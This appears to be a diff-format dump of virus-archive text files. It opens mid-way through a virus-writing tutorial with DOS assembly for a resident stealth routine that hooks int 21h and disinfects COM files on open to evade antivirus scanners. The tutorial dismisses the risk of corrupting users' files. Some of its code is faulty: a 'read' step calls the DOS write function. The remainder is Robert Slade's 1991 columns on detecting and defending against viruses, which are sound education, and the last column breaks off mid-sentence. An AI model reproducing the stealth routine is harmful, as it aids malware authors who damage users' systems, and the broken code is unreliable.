pseudo code for EXE files as well. All code presented will though be COM-
only.
The basic idea behind disinfection of COM-files is to first of all check
if the file is infected by your virus, then simply restore what we've changed
in the file, that is the first 3-5 bytes in a COM and then simply truncate
the file at (filesize-virussize).
As for EXE-files the scenario is exactly the same, restore what you
changed in the EXE-header rewrite it to the file... and truncate it.
To succeed in these matters you'll have to hook int 21h and tap ah=3d (open)
Check-For-Infection
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
disinfect_3d: ;called by our int handler if ah=3dh
;Upon entry to ah=3Dh ds:dx points to the filename...
push ax bx cx dx di si ds es ;save registers in use
push ds
pop es ;es=ds
mov di,dx
mov al,'.'
mov cx,64
repne scasb ;this will repeatedly scan byte by byte for
; '.' in the filename stored in ds:dx=es:di
;di will then point to offset of '.'+1
cmp word ptr ds:[di],'OC'
jne nocom
cmp word ptr ds:[di],'M'
je openfile ;check if it is a com... if it wasn't
nocom:
jmp not_opened ;it wasn't a *.com file so don't
;disinfect
openfile: ;com-file being opened!
pushf
push cs
mov ax,3d02h
call org21h ;open file in read/write mode
jc nocom ; error ==> bail out
xchg ax,bx
push cs cs ;cs=ds=es
pop es ds
mov ax,5700h ;get file's time & date
int 21h
push cx ;save time &
push dx ;date on the stack
read_4f:
mov ah,3fh ;just read the firstfour bytes to
mov cx,4 ;a buffer.
mov dx,(hostbytes-vstart)
int 21h
chk_4_markers:
cmp byte ptr ds:[hbytes-vstart],0e9h ;check if firstchar
jne close_file ;is a jmp (e9)
;if not ==> bail!
cmp byte ptr ds:[hbytes-vstart+3],fileid ;4th byte = our marker?
jne close_file ; if not ==> bail!
That was the first part of the disinfection routine, the part that check if
the file *really* is infected. In a nutshell, the code works like this:
First of all we want to check if the file first of all is a COM/EXE file.
What we did was simply to scan ds:dx for the '.' which separates the filename
from the file extension and then compare it to COM/EXE (the code only checks
for com's, but you can fix that ;). That'll be sufficent to determine if it
was a COM/EXE file...
The next step would be to check if the COM/EXE file really is infected.
This can be done in diffrent ways and some more secure than others, but what
I've done in this code is to read the first four bytes and check the first
against a jmp instruction (the one which jumps to the first instruction in
the main virus-code) and then check the fourth against 'fileid' a byte which
I write to every file I infect... com only of course.
That should do it. To be even more secure one could check for size and
even stealth markers (like seconds) and such, but I don't think it's so
very likely that a com file starts first with a jmp and then as the forth
byte have another byte equal to what we want... Ah well it might corrupt
some files, but who cares? ;)
Note that we don't do a regular open, since that would be recursive we have to
call the original interrupt handler directly...
To do the same for EXE-files is almost as easy... read the whole header
(be sure to save the header-information in the file for this purpose,
don't do any heap-optimizing) and check against your markers maybe the
prelocated SP or maybe the negative checksum or whatever... then continue
with the disinfection where we left the com files...
Restore Init-Bytes
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
read_hostbytes:
mov ax,4202h
xor cx,cx
cwd
int 21h ;ax=fsize
push ax ;push fsize.. used lateron...
;if exe then push dx too
xchg ax,dx
sub dx,(vend-hbytes)
mov ax,4200h
xor cx,cx
int 21h ;goto dx in files...
mov ah,40h
mov cx,4
mov dx,(hbytes-vstart)
int 21h ;read host bytes from end of file...
This is the part where you fetch the original values of infected file. Since
this is important, also remember to leave the original bytes un-encrypted if
the virus is encrypted. Else you'll have to decrypt them, which is pretty
stupid. Encrypted full-stealth viruses might be considered a bit overdoing it,
but well, that's up to you to decide. It's also wise to place the init-bytes
at the end-of the file because that makes file-seek's operations shorter.
Well anyways, first get the filesize in ax then load it in dx and sub dx with
the byte difference from the very end of the virus to the begining of
the hostbytes (in this case 4...) then go to that offset in the file ie.
four bytes from the end and then read those four bytes which are the files
original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use
a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore
differences. you'll just have to sub/read the appropriate number of bytes...
The next step will be to restore those bytes to the begining of the file...
mov ax,4200h
xor cx,cx
cwd
int 21h ;go to beginning of file...
mov ah,40h
mov dx,(hbytes-vstart)
mov cx,4
int 21h ;restore them
Well that' obvious, wasn't it?
The EXE version would only differ if you didn't save the whole EXE-header,
because then you would have to read it, then restore the real values and
re-write it to file then... therefor is it easier to simply write the whole
EXE-header to the end of the infected file, but that'll of course increase
the size of the virus.
Remove the virus from the host-file
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
To truncate the file at filesize-virussize we do this...
pop dx ;this was push'd two snippets up and it's the file-size
;should also pop cx if it was an exe
mov ax,4200h
sub dx,virusize ;subtract the virus-size from the filesize
int 21h ;go to filsize-virusize
truncate:
mov ah,40h
xor cx,cx
int 21h ;this is the trick. to truncate simply write zero bytes
;to the file...
Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE)
and then sub it with the virus size (don't forget sbb cx,0 if EXE...)
Then go to that offset and write zero bytes to it, that'll truncate it...
close_dis:
mov ax,5701h
pop dx cx
int 21h ;restore time/date stamp
mov ah,3eh
pushf
push cs
call org21h ;close call to real int handler
no_opendis:
pop es ds si di dx cx bx ax
jmp org21h
You're finished! just restore the time/date stamp and close the file...
Just don't forget to close via a direct call to the real int 21 handler, since
you wouldn't want to re-infect the file ;) then we chain into the real dos
open since the virus has been removed!
This code will successfully disinfect any file opened by ah=3Dh/int 21h, but
there are other ways of opening files, one of them is extended open which
F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll
have to deal with some minor snags. Like loading ds:dx with filename ... If
you're intrested check out Salamander Four...

56
textfiles.com/virus/funbot2.cvp Normal file
View File

@@ -0,0 +1,56 @@
FUNBOT2.CVP 910918
Boot sequence
In order to point out the areas of possible viral program attack, it is
helpful to outline the sequence of operations in the boot process.
When the machine is first powered up, there is a certain amount of
programming contained in boot ROM. The amount of this varies greatly
between different types of machines, but basically describes the most
central devices, such as the screen and keyboard, and "points" to the
disk drives. A very basic location on the disk is addressed for further
information. This is the generic "boot sector"; as mentioned in the last
column, on MS-DOS hard disks it is the partition boot record that is
accessed first.
The boot record or sector contains further information about the
structure of the disk. It, or a subsequent linked sector, also describes
the location of further operating system files. This description is in
the form of a program, rather than simply data. Because this outline is
in the form of a program, and because this sector is "writable", in order
to allow for different structures, the boot record or sector is
vulnerable to attack or change. Boot sector infecting programs may
overwrite either the boot record or the boot sector, and may or may not
move the original boot sector or record to another location on disk. The
repositioning of the original sector's program allows the viral program
to "pretend" that everything is as it was.
This pretence is not absolute. A computer with an active viral program
resident will, of necessity, be different in some way from the normal
environment. The original sector position will, of course, have
different information in it. The viral program will need to "hook"
certain vectors for its own use in order to monitor activity within the
computer and in order to function. The viral program will have to occupy
a certain portion of memory, and may be identified by a memory map, or,
in the case of the Stoned virus, may try to hide by "telling" the
computer that it has less memory than is actually the case.
These tell-tale indicators are not absolute. There may be various
reasons why the "top of memory" marker is set to less than 640K. Each
different type of disk drive, and each drive of the same type which is
partitioned differently, will have a different boot record. As operating
systems or versions change, so will the boot sector. Therefore, the
environment of newly booted machines cannot, in isolation, be examined
and said to be infected or free from infection.
It is possible, however, to compare any machine with itself in a "known
clean" state. By saving information on the environment after a minimal
clean boot, and comparing this with subsequent boots, changes can be
detected, and the user alerted to a potential problem. Since a boot
sector infector can only infect a machine if the machine is booted from
an infected disk, it is also possible to replace the boot record with a
non-standard one, in order to prevent access to the hard disk unless
booted from the hard disk.
copyright Robert M. Slade, 1991 FUNBOT2.CVP 910918

58
textfiles.com/virus/funbot3.cvp Normal file
View File

@@ -0,0 +1,58 @@
FUNBOT3.CVP 910918
Boot sequence - part 2
Obtaining the state of the environment immediately after the boot sector
has been run is not as easy as it might sound at first. The computer,
while functional, does not have all parts of the operating system
installed at this point, and it is the "higher" levels of the operating
system that users generally interact with.
The last section of the boot sector program points to the files or areas
on the disk in which to find the next step of the operating system. At
this point the specific files and subsequent steps start to change from
one operating system to another. However, it is fairly common for all
operating systems to have "hidden" files along this route which may be
subject to viral attack. Given that the files are not evident to the
user, they are more subject, not to attack, but to an undetected change.
When setting up antiviral defences, it is important to know the sequence
of events in the boot process in order to know which programs will
protect to which level. The MS-DOS sequence provides the clearest
example, and those knowledgeable in other systems can use the examples it
provides in order to analyze the specific details of their own systems.
After the master boot record and boot sector proper have been run, MS-DOS
normally runs two additional programs which set up input/output routines
and the most basic operating system. (As these programs are called by
the boot sector, it is possible to re-route this process to call
specialized driver programs first, or with them. Some esoteric disk
drives use such a process.) Traditionally, these files have "hidden"
attributes and are not visible to the user on the disk. After they have
run, the system has sufficient programming to interpret a text file which
contains listings of various additional programming which the user wishes
to have in order to run specialized hardware. This file, CONFIG.SYS, is
the first point at which the intermediate user may normally affect the
boot process, and is the first point at which antiviral software may be
easily installed. As can be seen, however, there are a number of prior
points at which viral programs may gain control of the computer.
After the programs listed in CONFIG.SYS are run, the command interpreter
is invoked. The standard MS-DOS interpreter is COMMAND.COM, but this may
be changed by an entry in the CONFIG.SYS file. After COMMAND.COM is run,
the AUTOEXEC.BAT batch file is run, if it exists. AUTOEXEC.BAT is the
most commonly created and modified "boot file", and many users, and
antiviral program authors, see this as the point at which to intervene.
It should be clear by now, however, that many possible points of
intervention are open before the AUTOEXEC.BAT is run.
In spite of the greater number of entry points, viral programs which
attack the programs of the boot sequence are rare, and not greatly
successful. For one thing, while very disk has a boot sector, not every
disk has a full boot sequence. For another, different versions of a
given operating system may have different files in this sequence. (For
example, the "hidden" files have different names in MS-DOS, PC-DOS and
DR-DOS.) Finally, viral programs which can infect ordinary programs
files may not work on boot sequence files, and vice versa.
copyright Robert M. Slade, 1991 FUNBOT3.CVP 910918

56
textfiles.com/virus/fungen1.cvp Normal file
View File

@@ -0,0 +1,56 @@
FUNGEN1.CVP 910727
Computer operations and viral operations
Having defined what viral programs are, let's look at what
computers are, and do, briefly. The functions that we ask of
computers tend to fall into a few general categories.
Computers are great at copying. This makes them useful for
storing and communicating data, and for much of the "information
processing" that we ask them to do, such as word processing.
Computers are also great for the automation of repetitive tasks.
Programming allows computers to perform the same tasks, in the
same way, with only one initiating call. Indeed, we can, on
occasion, eliminate the need for the call, as programs can be
designed to make "decisions" on the basis of data available.
Finally, computer processors need not be specially built for
each task assigned to them: computers are multi-purpose tools
which can do as many jobs as the programs available to them.
All computer operations and programs are comprised of these
three components: copying, automatic operation, "decision"
making: and, in various combinations, can fulfill many
functions. It is no coincidence that it is these same functions
which allow computer viral programs to operate.
The first function of a viral program is to reproduce. In other
words, to copy. This copying operation must be automatic, since
the operator is not an actively informed party to the function.
In most cases, viral program must come to some decision aobut
when and whether to infect a program or disk, or when to deliver
a "payload". All of these operations must be performed
regardless of the purpose for which the specific computer is
intended.
It should thus be clear that computer viral programs use the
most basic of computer functions and operations. It should also
be clear that no additional functions are necessary for the
operation of viral programs. Taking these two facts together,
noone should be surprised at the conclusion reached a number of
years ago that not only is it extremely difficult to
differentiate computer viral programs from valid programs, but
that there can be no single identifying feature that can be used
for such distinction. Without running the program, or
simulating its operation, there is no way to say that this
program is viral and that one is valid.
The fact that computer viral operations are, in fact, the most
basic of computer operations means that it is very difficult to
defend against intrusion by viral programs. In terms of
"guaranteed protection" we are left with Jeff Richards' Laws of
Data Security:
1) Don't buy a computer.
2) If you do buy a computer, don't turn it on.
copyright Robert M. Slade, 1991 FUNGEN1.CVP 910729

BIN
textfiles.com/virus/fungen2.cvp Normal file
View File

Binary file not shown.

53
textfiles.com/virus/fungen3.cvp Normal file
View File

@@ -0,0 +1,53 @@
FUNGEN3.CVP 910811
Viral use of operating systems
Viral programs use basic computer functions in more ways than
one. It is easier to use standard system calls for purposes
such as accessing disks and writing files or formatting. Most
programs use the standard operating system calls, rather than
write their own system function when "using" the hardware. For
one thing, it's more "polite" to do this with applications
programs, which, if they follow "the rules" will be better
"behaved" when it comes to other programs, particularly resident
programs and drivers. But it is also easier to use system
functions than write your own.
Operating system functions are generally accessible if you know
the memory address at which the function starts, or the specific
"interrupt" that invokes it. Viral programs can use this fact
in two possible ways.
The first is to use the standard system calls in order to
perform the copying, writing or destructive actions. This,
however, has unfortunate consequences for the viral author (and
fortunate for the computer community) in that it is easy to
identify these system calls within program code. Therefore, if
viral programs used only this method of operation, it would be
possible to write a "universal" virus scanner which would be
able to identify any potentially damaging code. It would also
be possible to write programs which "trapped" all such system
calls, and allowed the user to decide whether a particular
operation should proceed. (In fact, in the MS-DOS world, two
such programs, BOMBSQAD and WORMCHEK, are available, and were
used to check for early trojan programs.)
Operating systems are, however, programs, and therefore it is
possible for any program, including any viral program, to
implement a completely different piece of code which writes
directly to the hardware. The "Stoned" virus has used this very
successfully.
Unfortunately, viral programs have even more options, one of
which is to perform the same "trapping" functions themselves.
Viral programs can trap all functions which perform disk access
in order to hide the fact that the virus is copying itself to
the disk under the "cover" of a directory listing. Viral
programs can also trap system calls in order to evade detection.
Some viri will "sense" an effort to "read" the section of memory
that they occupy, and will cause the system to hang. Others
trap all reading of disk information and will return only the
"original" information for a file or disk: the commonly named
"stealth" viral technology.
copyright Robert M. Slade, 1991 FUNGEN3.CVP 910811

52
textfiles.com/virus/fungen4.cvp Normal file
View File

@@ -0,0 +1,52 @@
FUNGEN4.CVP 910819
Hiding in System Layers
One additional use that viral programs can make of operating
systems is as a source of hiding places.
Anyone who has ever tried to manage accounts on mainframes or
local area networks will recognize that there is a constant
battle between the aspects of security and "user friendliness" in
computer use. This tension arises from the definition of the two
functions: if a computer is easy to use, it is easy to misuse.
If a password is hard to guess, it is hard to remember. If
access to information is simple for the owner, it is simple for
the "cracker".
(This axiom often gives rise to two false "corollaries". First,
the reverse; that those systems which are difficult to use must
therefore be more secure; does not hold. Secondly, many assume
that restricting the availability of information about a system
will make that system secure. While this strategy will work in
the short term, its effectiveness as protection is limited.
Indeed, it often has the unfortunate side effect of restricting
information to those who should have it, such as systems
managers, while slowing the "attackers" only marginally.)
"User friendly" programs and operating systems tend to hide
information from the user. There are two reasons for this. In
order to reduce "clutter", and the amount of information that a
user needs to operate a given system, it is necessary to remove
options, and therefore, to a certain extent, functionality. A
user friendly system is also more complex in terms of it's own
programming. In order for the computer to behave "intuitively",
it must be able to provide for the many "counter-intuitive" ways
that people work. Therefore the most basic levels of a graphical
user interface system tend to be more complex than the
corresponding levels of a command line interface system, and are
hidden from the user by additional intervening layers (which also
tend to add more complexity.)
The additional layers in an operating system, and the fact that
a great deal of management takes place automatically, without the
user's awareness, is an ideal situation for a viral program.
Since many legitimate and necessary operations and changes are
performed without the user being aware of it, viral operations
can also proceed at a level completely hidden from the user.
Also, because the user is basically unaware of the structure and
operations of the computer, changes to that structure and
operation are difficult to detect.
copyright Robert M. Slade, 1991 FUNGEN4.CVP 910819

57
textfiles.com/virus/fungen5.cvp Normal file
View File

@@ -0,0 +1,57 @@
FUNGEN5.CVP 910828
Viral activation
In attempting to protect against viral infection, and
particularly when trying to disinfect systems, it is important to
bear in mind the times that the virus is actively "infectious".
The viral activation is not the same as the activation of the
payload that a virus may carry. For example, the payload of the
original "Stoned" virus was a message which appeared on the
screen saying "Your PC is now Stoned!". This message only
appears at boot time, and on only one eighth of the times the
computer is rebooted. The virus, however, is infectious at all
times, if it has infected the hard disk.
There are basically three possibilities for the infectious
period: now ("one-shot"), during program run ("while called") or
from now on (resident). These periods may be modified by other
circumstances. A resident virus may remain in memory, but only
be actively infecting when a disk is accessed. A "while called"
virus may only infect a new program when a directory is changed.
"One-shot" viri only get one chance on each "run" of the infected
program. The viral code will seek out and infect a target
program. They then pass control to the original program, and
perform no further functions. These are, of course, the simplest
of the viral programs. Mainframe "mail" viri are generally of
this type.
The second class will activate when the infected program is
called, and then pass partial control to the original program.
The virus, however, will remain operational during the time that
the infected program is running. If this can be accomplished, it
is only a slight jump to write a fully memory resident virus.
Resident viri are the most successful, and the most dangerous, of
viral programs. A resident virus will become active when an
infected program is run (or at boot time for boot sector
infectors), and remain active until the computer is rebooted or
turned off. (Some viral programs are even able to trap the
rebooting sequence that is normally called when you press Ctrl-
Alt-Del on an MS-DOS PC, and thus are able to survive a "warm
boot.") The most successful of the file infectors, the Jerusalem
virus, is resident, as are all boot sector infectors. (For
fairly obvious reasons; the boot sector is never "called" in
normal operation.)
If a virus is active in memory, it is a waste of time trying to
disinfect a file or disk. No sooner is the file "cleaned", than
it becomes a suitable target for re-infection. You may try to
disinfect a hard disk right down to performing a low level
format: as soon as the disk is reformatted it may be infected all
over again. This is why all directions for disinfection stress
the necessity of "cold" booting from a disk that is known to be
free of infection before attempting any cleanup.
copyright Robert M. Slade, 1991 FUNGEN5.CVP 910828

57
textfiles.com/virus/fungen6.cvp Normal file
View File

@@ -0,0 +1,57 @@
FUNGEN6.CVP 911101
Change detection
A virus has to change *something*.
This fact is absolutely fundamental to the operation of computer
viral programs, and therefore, in a sense, provides a guaranteed
form of virus prevention or detection. If we make a machine
that cannot change anything (and the disadvantages of this have
been thoroughly discussed) we can prevent infection. If any
change made can be detected, then any infection can be detected,
although discriminating between an infection and a valid change
remains problematic.
It is interesting to note that the early antiviral programs, at
least the most widely used ones, relied first upon activity
monitoring and then signature scanning. Nowadays almost all
antiviral programs implement some version of automated change
detection. The detection of the first viri, and the ongoing
research into new strains, relies almost entirely on "manual"
methods of change detection.
This method of detection is available to anyone who has a
computer and the most basic tools of the operating system. It
is, of course, made somewhat easier with the more advanced
"utility" programs available on the market, but the best defence
remains a thorough knowledge of your computer, and what it is
supposed to be doing.
A knowledge of what programs are on the computer, and a list of
file sizes and creation dates is a simple piece of protection
requiring no special programs whatsoever. This one simple tool,
however, can provide detection of most file infecting viri. It
will even detect "stealth" viri if the computer is booted from a
clean system disk before the check is made.
DEBUG is provided with every copy of MS-DOS, and can be used to
view, and make a copy of, the boot record of every disk.
(Partition boot records of hard disks are beyond the reach of
DEBUG, but within the reach of F-PBR, from 1.xx versions of
FPROT.)
Memory maps (and hex dumps of boot sectors) are not easy to
read, even for experienced, but non-programming, users.
However, it is not necessary that the user understand all the
entries in a boot sector or memory map. It is only necessary
that the user have a printout of a run of, say, MEM/C in an
initially clean state, and then be able to spot a difference in
a subsequent run of the program.
In reality, of course, most users will not take the time and
trouble to check for changes in the system. Most users want a
program which will do it for them, and preferably one which will
do the checking automatically, and alert them to anything wrong.
copyright Robert M. Slade, 1991 FUNGEN6.CVP 911101

56
textfiles.com/virus/fungen7.cvp Normal file
View File

@@ -0,0 +1,56 @@
FUNGEN7.CVP 911113
File checking
Most file infecting viral programs can be checked for quite
simply, and without any special programs or equipment.
Provided, that is, that the computer user will pay the most
minimal attention to the system, and take the most basic
precautions.
The simplest form of antivirus detection "equipment" is a list
of all the programs to be run on the computer, with the size and
"last changed date" for each. (The list for "resource" based
systems such as the Macintosh will, of necessity, be somewhat
larger, and must include all "code" resources on the disk.)
With some few (albeit important) exceptions, programs should
never change their size or file date. Any changes that are
made, should be at the request of the user, and thus easy enough
to spot as exceptions.
While "stealth" technology of various types has been applied to
viral programs, the most common (and successful) viri, to the
date of this writing, have not used it. Most change the size of
the file, and generally do it in such a standardized fashion
that the "infective length" of the virus is often used as an
identification of the specific viral program. The file date is
changed less often, but is sometimes deliberately "used" by the
virus as an indicator to prevent reinfection. (One used the
value of "31" in the seconds field, which is presumably why the
later 1.xx versions of F-PROT all had dates ending in 31.
Another used the "impossible" value of 62.)
Even when stealth techniques are used, they generally require
that the virus itself be running for the measures to be
effective. We thus come to the second piece of antiviral
equipment; the often cited "known clean boot disk". This is a
bootable system (floppy) disk, created under "sterile"
conditions and known to be free of any viral program infection,
and write protected so as to be free from possible future
contamination. When the computer is "booted" from this disk,
the hard disk boot sector and system areas can be bypassed so as
to prevent "stealth" programs from passing "false data" about
the state of the system.
Viral protection can thus start with these simple, and
non-technical provisions. Starting with a known-clean system,
the list can be checked regularly for any discrepancies. The
"clean disk" can be used to "cold boot" the system before these
checks for added security. Checks should be performed before
and after any changes made to software, such as upgrades or new
programs.
Security does not, of course, end here. This is only a very
simple first line of defence.
copyright Robert M. Slade, 1991 FUNGEN7.CVP 911113

58
textfiles.com/virus/fungen8.cvp Normal file
View File

@@ -0,0 +1,58 @@
FUNGEN8.CVP 911115
File checking - part 2
Historically, it is interesting to note that, initially,
operation monitoring and restricting software was the preferred
means of antiviral protection. Subsequently signature scanning
software became more prevalent, and currently holds dominance in
terms of number of programs in use. Change detection software,
however, has recently become very popular and, from my reviews
of software, at least, now leads in terms of number of different
programs implementing the technique.
The most basic type of change detection program could simply
automate the process of manual file checking outlined in the
previous column. However, this would not catch "overwriting"
viri, as long as they did not change the file date. Therefore,
most change detection software performs some type of "image
checking" as well.
"Image", "numerical" or "statistical" file checking is based on
calculations performed on the data making up the file. At its
most rudimentary, this is based on the "checksum". As the name
suggests, this is nothing more than a check of the "summing" of
all data in the file, or sometimes the modulus of that sum.
More complex is the CRC or "cyclic redundancy check", which
performs more complex calculations on matrices of the data.
(This is done in a fashion similar to the Hamming encoding used
for error detection and correction.)
It would be fairly simple for an overwriting virus to calculate
the checksum for a given file, and then to modify the code of
the infected file in such a way that the checksum would still
match. This is the reason for some of the more complex
calculations which are implemented.
While the initial checking of files is fairly standard, there
are a wide variety of implementations for the subsequent
checking of files. The original information must, of course, be
stored somewhere. Some programs create a single file for this,
others attach the information to the program to be protected.
Each means has advantages and disadvantages. A single file
means a single entity which virus authors may find out about and
"target". Attaching of data to programs which may be altered
means that the calculated codes may be altered or erased as
well. Sometimes small modules of code are attached to the
programs in order to allow the programs to check themselves.
Unfortunately, adding such modules to programs which already
check themselves for changes may prevent the programs from
running. (Norton AntiVirus stores the information in a number
of hidden, 77 byte files, with names similar to that of the
protected file. This caused a number of users to suspect that
the results of Norton's protection were actually the results of
a virus. One fairly unique ploy is used by "Victor Charlie",
which, in its earliest incarnation, simply offered itself as
"bait" to viral programs -- and then checked itself.)
copyright Robert M. Slade, 1991 FUNGEN8.CVP 911115

52
textfiles.com/virus/fungen9.cvp Normal file
View File

@@ -0,0 +1,52 @@
FUNGEN9.CVP 911127
System checking
The measures described in the previous two columns will detect
file infecting viral programs (within limits.) However, a very
large class, or perhaps a number of sub-classes, of viral
programs do not make any changes to program files on the disk.
Boot sector infectors replace or move the "boot program"
resident on almost every disk. Although these viri are
extremely common, surprisingly few "change detectors" bother to
make any check of this area at all. One reason may be that a
number of computers make regular changes to the boot sector for
various purposes.
"Companion" viri, while they are associated with certain
programs, do not make any changes to existing program files at
all. Similar claims can be made for "system" viri, such as the
DIR-II virus, which leaves the file intact, but changes the
directory entry in order that the virus, which "officially" does
not exist on the disk, gets called first.
It is, therefore, necessary to check much more than the size and
image of the individual program files on the disk in order to
detect viral infections. The boot sector (and master/partition
boot record) should be checked, although it is possible that a
certain area should be excluded from checking in the case of
certain computers. A check on the total number of programs, and
names, should also be kept separate from the system directory.
A copy of the directory and file allocation table should also be
kept, especially in regard to program files.
System memory, and the allocation of system interrupts, should
also be checked. This is problematic during normal operations,
as programs tend to use, and sometimes not fully release, areas
of memory and interrupts as they work. Therefore, the best time
to do such checking is at boot time, even before drivers and
programs have loaded from the startup files. (DISKSECURE does
this to great effect. So did F-PROT's F-DRIVER.SYS -- which led
to unfortunate conflicts with MS-DOS 5.0. The security
programmer's lot is not an easy one, with virus writers,
legitimate programs and even operating systems continually
finding new and "interesting" ways to do things.) It is also
possible, however, and quite desirable, to take a "snapshot" of
memory immediately after the startup sequence. This should be
able to detect any changes made to programs involved in the boot
sequence, as well as other changes. (It may also "catch"
program traps which "redirect" a "warm" boot in order to avoid
disk security devices.)
copyright Robert M. Slade, 1991 FUNGEN9.CVP 911127

56
textfiles.com/virus/fungena.cvp Normal file
View File

@@ -0,0 +1,56 @@
FUNGENA.CVP 911202
Detection avoidance
Viral programs have almost no defence at all against
disinfection. 99% of viri are almost trivially simple to get
rid of, simply by replacing the "infected" file (or boot sector)
with an original copy. (Some more recent boot sector and system
viri require slightly more knowledge in order to perform
effective disinfection: none require drastic measures.) Far
from their image as the predators of the computer world, viral
programs behave much more like prey. Their survival is
dependant upon two primary factors: reproductive ability and
avoidance of detection.
Using the standard system calls to modify a file leaves very
definite traces. The change in a file "creation" or "last
modified" date is probably more noticeable than a growth in file
size. File size is rather meaningless, whereas dates and times
do have significance for users. Changing the date back to its
original value, however, is not a significant programming
challenge.
Adding code while avoiding a change in file size is more
difficult, but not impossible. Overwriting existing code and
adding code to "unused" portions of the file or disk are some
possible means. (The fictional rogue program P1, in Thomas
Ryan's "The Adolesence of P1", avoided problems of detection by
analyzing and rewriting existing code in such a manner that the
programs were more compact and ran more efficiently. Such
activity has not yet, alas, been discovered in any existing
virus.)
Some viral programs, or rather, virus authors, rely on
psychological factors. There are a number of examples of viri
which will not infect program files under a certain minimum
size, knowing that an additional 2K is much more noticeable on a
5K utility than on a 300K spreadsheet.
In a sense these are all "stealth" technologies, but this term
is most often used for programs which attempt to avoid detection
by trapping calls to read the disk and "lying" to the
interrogating program. By so doing, they avoid any kind of
detection which relies upon perusal of the disk. The disk gives
back only that information regarding file dates, sizes and
makeup which were appropriate to the original situation. (This
also relies upon the virus being "active" at the time of
checking.) Although this method avoids any kind of "disk"
detection, including checksumming and signature scanning, it
leaves traces in the computer's memory which can be detected.
(Some viral programs also try to "cover their tracks" by
watching for any analysis of the area they occupy in memory and
crashing the system, but this tends to be noticeable behaviour
... )
copyright Robert M. Slade, 1991 FUNGENA.CVP 911202

47
textfiles.com/virus/funpiv1.cvp Normal file
View File

@@ -0,0 +1,47 @@
FUNPIV1.CVP 911006
File infecting viri
File, or program, infecting viral programs, while possibly not as
numerous as boot sector infectors in terms of actual infections,
represent the greatest number of known viral strains, at least in
the MS-DOS world. This may be due to the fact that file infectors
are not as constrained in size as BSIs, or that file infectors do
not require the detailed knowledge of system "internals" which may
be necessary for effective boot sector viri.
File infecting viri spread by adding code to existing executable
files. They have the potential to become active when an infected
program is run. Whereas boot sector infectors must be memory
resident in order to spread, file infecting programs have more
options in terms of infection. This means that there is greater
range in the scope for writing file infecting viri, but it also
means that there may be fewer opportunities for a given virus to
reproduce itself.
File infecting viral programs must, of necessity, make some kind of
change in the target file. If normal DOS calls are used to write
to it the file creation date will be changed. If code is added to
it, the file size will change. Even if areas of the file are
overwritten in such a way that the file length remains unchanged,
a parity, checksum, cyclic redundancy or Hamming code check should
be able to detect the fact that there has been some change. The
Lehigh and Jerusalem viri, the first to become widely known to the
research community on the Internet, were both initially identified
by changes they made to target files (the Jerusalem being widely
known by its length as "1813".) "Change detection", therefore,
remains one of the most popular means of virus detection on the
part of antiviral software producers.
Because change detection is a means of virus detection that
requires no sophisticated programming (in some cases, no
programming at all), virus writers have attempted to camouflage
changes where they can. It is not a difficult task to avoid making
changes to the file creation date, or to return the date to its
original value. It is possible to "overlay" the original code of
the program, so that the file is not increased in size. Most
recently, virus authors have been using "stealth" programming: a
means of "shortcutting" the operating system, and returning only
the original, unchanged, values at any request for information.
copyright Robert M. Slade, 1991 FUNPIV1.CVP 911006

48
textfiles.com/virus/funpiv2.cvp Normal file
View File

@@ -0,0 +1,48 @@
FUNPIV2.CVP 911006
Viral code insertion
There are four ways to attach code to an existing program:
overwrite existing program code, add code to the beginning of the
program, add code to the end of the program and not add code to the
existing program.
Overwriting viral programs are a very simplistic answer to the
problem of how to add code to an existing program without changing
the file size. By simply overlaying code which is already on the
disk, the original size remains unchanged. There are a few
problems with this approach.
The first is the problem of how to get the virus "called" when the
infected program is run. If the code is just inserted anywhere, it
may not be in a part of the program that gets used every time the
program is run. (Every programmer is aware of the Pareto
Principle's application here: 20 percent of the code does 80
percent of the work. Some code never gets called at all.) It is
possible, by an analysis of the code of the target program, to find
an "entry point" which is used extensively. It is also possible,
and a lot easier, to place a jump at the beginning of the program
which points to the viral code.
The second problem is much more difficult to deal with. If the
virus code overwrites existing portions of the program code, how do
you know the loss of that program code is not fatal to the target
program? Analysis of this type, on the original code, would be
very difficult indeed. "Successful" overwriting viri tend to be
short, and to look for extensive strings of NUL characters to
replace. (The NUL characters tend to be used to "reserve" stack
space, and thus are not vital to the program.) Even if the
original code is not vital to the program, it may, if replaced,
cause the program to exhibit strange behaviours, and thus lead to
detection of the viral infection.
Thus, while overwriting viri solve the problem of file size, they
bring with them some inherent problems which appear, at this time,
to severely limit their effectiveness "in the wild". To this date,
while many overwriting viri have been written, none have enjoyed
great "success", or become a widespread and major problem.
(The Zen-like nature of the opening paragraph will be explained in
future columns.)
copyright Robert M. Slade, 1991 FUNPIV2.CVP 911006

51
textfiles.com/virus/funpiv3.cvp Normal file
View File

@@ -0,0 +1,51 @@
FUNPIV3.CVP 911013
Viral code addition
In order to avoid damage to the original program, which might
lead to detection of the infection, the viral code can be added
to the beginning or end of the program. (Or not attached at
all.)
Adding code at the beginning of the original program ensures
that the viral code is run whenever the program is run. (This
also ensures that the virus is run before the program runs. The
virus thus has priority in terms of operation, possible
conflicts and detection.) With the addition of code to the
beginning of the program, it is possible to avoid any change to
the original code. It *is* necessary to alter the file/disk
allocation table, at least, in order to ensure that the program
"call" starts with the viral code, and that the viral code is
not overwritten by other changes to the disk or files. While
the original code may be left unchanged, the file will be,
essentially, altered, and, unless techniques are used to
